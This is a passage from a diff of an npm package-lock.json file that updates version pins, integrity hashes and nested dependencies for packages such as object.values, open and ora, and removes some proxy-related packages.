"define-properties": "^1.1.3", - "es-abstract": "^1.17.0-next.1", - "function-bind": "^1.1.1", + "es-abstract": "^1.18.0-next.1", "has": "^1.0.3" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "object.fromentries": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.2.tgz", - "integrity": "sha512-r3ZiBH7MQppDJVLx6fhD618GKNG40CZYH9wgwdhKxBDDbQgjeWGGd4AtkZad84d291YxvWe7bJGuE65Anh0dxQ==", + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.4.tgz", + "integrity": "sha512-EsFBshs5RUUpQEY1D4q/m59kMfz4YJvxuNCJcv/jWwOJr34EaVnG11ZrZa0UHB3wnzV1wx8m58T4hQL8IuNXlQ==", "dev": true, "requires": { + "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0-next.1", - "function-bind": "^1.1.1", + "es-abstract": "^1.18.0-next.2", "has": "^1.0.3" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "object.getownpropertydescriptors": { @@ -12264,15 +15708,101 @@ } }, "object.values": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.1.tgz", - "integrity": "sha512-WTa54g2K8iu0kmS/us18jEmdv1a4Wi//BZ/DTVYEcH0XhLM5NYdpDHja3gt57VrZLcNAO2WGA+KpWsDBaHt6eA==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.3.tgz", + "integrity": "sha512-nkF6PfDB9alkOUxpf1HNm/QlkeW3SReqL5WXeBLpEJJnlPSvRaDQpW3gQTksTN3fgJX4hL42RzKyOin6ff3tyw==", "dev": true, "requires": { + "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0-next.1", - "function-bind": "^1.1.1", + "es-abstract": "^1.18.0-next.2", "has": "^1.0.3" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "obuf": { @@ -12300,6 +15830,7 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, "requires": { "wrappy": "1" } @@ -12314,9 +15845,10 @@ } }, "open": { - "version": "7.2.1", - "resolved": "https://registry.npmjs.org/open/-/open-7.2.1.tgz", - "integrity": "sha512-xbYCJib4spUdmcs0g/2mK1nKo/jO2T7INClWd/beL7PFkXRWgr8B23ssDHX/USPn2M2IjDR5UdpYs6I67SnTSA==", + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/open/-/open-7.4.2.tgz", + "integrity": "sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==", + "dev": true, "requires": { "is-docker": "^2.0.0", "is-wsl": "^2.1.1" @@ -12326,6 +15858,7 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, "requires": { "is-docker": "^2.0.0" } @@ -12345,6 +15878,7 @@ "version": "0.8.3", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dev": true, "requires": { "deep-is": "~0.1.3", "fast-levenshtein": "~2.0.6", @@ -12354,6 +15888,88 @@ "word-wrap": "~1.2.3" } }, + "ora": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/ora/-/ora-5.3.0.tgz", + "integrity": "sha512-zAKMgGXUim0Jyd6CXK9lraBnD3H5yPGBPPOkC23a2BG6hsm4Zu6OQSjQuEtV0BHDf4aKHcUFvJiGRrFuW3MG8g==", + "dev": true, + "requires": { + "bl": "^4.0.3", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.5.0", + "is-interactive": "^1.0.0", + "log-symbols": "^4.0.0", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, "original": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz", @@ -12375,21 +15991,11 @@ "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", "dev": true }, - "os-locale": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.1.0.tgz", - "integrity": "sha512-Z8l3R4wYWM40/52Z+S265okfFj8Kt2cC2MKY+xNi3kFs+XGI7WXu/I309QQQYbRW4ijiZ+yxs9pqEhJh0DqW3Q==", - "dev": true, - "requires": { - "execa": "^1.0.0", - "lcid": "^2.0.0", - "mem": "^4.0.0" - } - }, "os-name": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/os-name/-/os-name-3.1.0.tgz", "integrity": "sha512-h8L+8aNjNcMpo/mAIBPn5PXCM16iyPGjHNWo6U1YO8sJTMHtEtyczI6QJnLoplswm6goopQkqc7OAnjhWcugVg==", + "dev": true, "requires": { "macos-release": "^2.2.0", "windows-release": "^3.1.0" @@ -12398,7 +16004,8 @@ "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", + "dev": true }, "osenv": { "version": "0.1.5", @@ -12411,31 +16018,22 @@ } }, "p-cancelable": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.0.0.tgz", - "integrity": "sha512-wvPXDmbMmu2ksjkB4Z3nZWTSkJEb9lqVdMaCKpZUGJG9TMiNp9XcbG3fn9fPKjem04fJMJnXoyFPk2FmgiaiNg==" - }, - "p-defer": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz", - "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.0.tgz", + "integrity": "sha512-HAZyB3ZodPo+BDpb4/Iu7Jv4P6cSazBz9ZM0ChhEXp70scx834aWCEjQRwgt41UzzejUAPdbqqONfRWTPYrPAQ==", "dev": true }, "p-finally": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" - }, - "p-is-promise": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-2.1.0.tgz", - "integrity": "sha512-Y3W0wlRPK8ZMRbNq97l4M5otioeA5lm1z7bkNkxCka8HSPjR0xRWmpCmc9utiaLP9Jb1eD8BgeIxTW4AIF45Pg==", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", "dev": true }, "p-limit": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, "requires": { "p-try": "^2.0.0" } @@ -12452,7 +16050,8 @@ "p-map": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz", - "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==" + "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==", + "dev": true }, "p-retry": { "version": "3.0.1", @@ -12466,54 +16065,14 @@ "p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==" - }, - "pac-proxy-agent": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-3.0.1.tgz", - "integrity": "sha512-44DUg21G/liUZ48dJpUSjZnFfZro/0K5JTyFYLBcmh9+T6Ooi4/i4efwUiEy0+4oQusCBqWdhv16XohIj1GqnQ==", - "requires": { - "agent-base": "^4.2.0", - "debug": "^4.1.1", - "get-uri": "^2.0.0", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^3.0.0", - "pac-resolver": "^3.0.0", - "raw-body": "^2.2.0", - "socks-proxy-agent": "^4.0.1" - }, - "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "requires": { - "ms": "^2.1.1" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - } - } - }, - "pac-resolver": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-3.0.0.tgz", - "integrity": "sha512-tcc38bsjuE3XZ5+4vP96OfhOugrX+JcnpUbhfuc4LuXBLQhoTthOstZeoQJBDnQUDYzYmdImKsbz0xSl1/9qeA==", - "requires": { - "co": "^4.6.0", - "degenerator": "^1.0.4", - "ip": "^1.1.5", - "netmask": "^1.0.6", - "thunkify": "^2.1.2" - } + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true }, "package-json": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz", "integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==", + "dev": true, "requires": { "got": "^9.6.0", "registry-auth-token": "^4.0.0", @@ -12524,12 +16083,14 @@ "@sindresorhus/is": { "version": "0.14.0", "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", - "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==" + "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==", + "dev": true }, "@szmarczak/http-timer": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", + "dev": true, "requires": { "defer-to-connect": "^1.0.1" } @@ -12538,6 +16099,7 @@ "version": "6.1.0", "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", + "dev": true, "requires": { "clone-response": "^1.0.2", "get-stream": "^5.1.0", @@ -12552,6 +16114,7 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, "requires": { "pump": "^3.0.0" } @@ -12559,7 +16122,8 @@ "lowercase-keys": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "dev": true } } }, @@ -12567,6 +16131,7 @@ "version": "3.3.0", "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "dev": true, "requires": { "mimic-response": "^1.0.0" } @@ -12574,12 +16139,14 @@ "defer-to-connect": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", - "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==" + "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==", + "dev": true }, "got": { "version": "9.6.0", "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", + "dev": true, "requires": { "@sindresorhus/is": "^0.14.0", "@szmarczak/http-timer": "^1.1.2", @@ -12597,12 +16164,14 @@ "json-buffer": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", - "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" + "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=", + "dev": true }, "keyv": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz", "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==", + "dev": true, "requires": { "json-buffer": "3.0.0" } @@ -12610,17 +16179,20 @@ "lowercase-keys": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", - "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", + "dev": true }, "p-cancelable": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", - "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==" + "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==", + "dev": true }, "responselike": { "version": "1.0.2", "resolved": 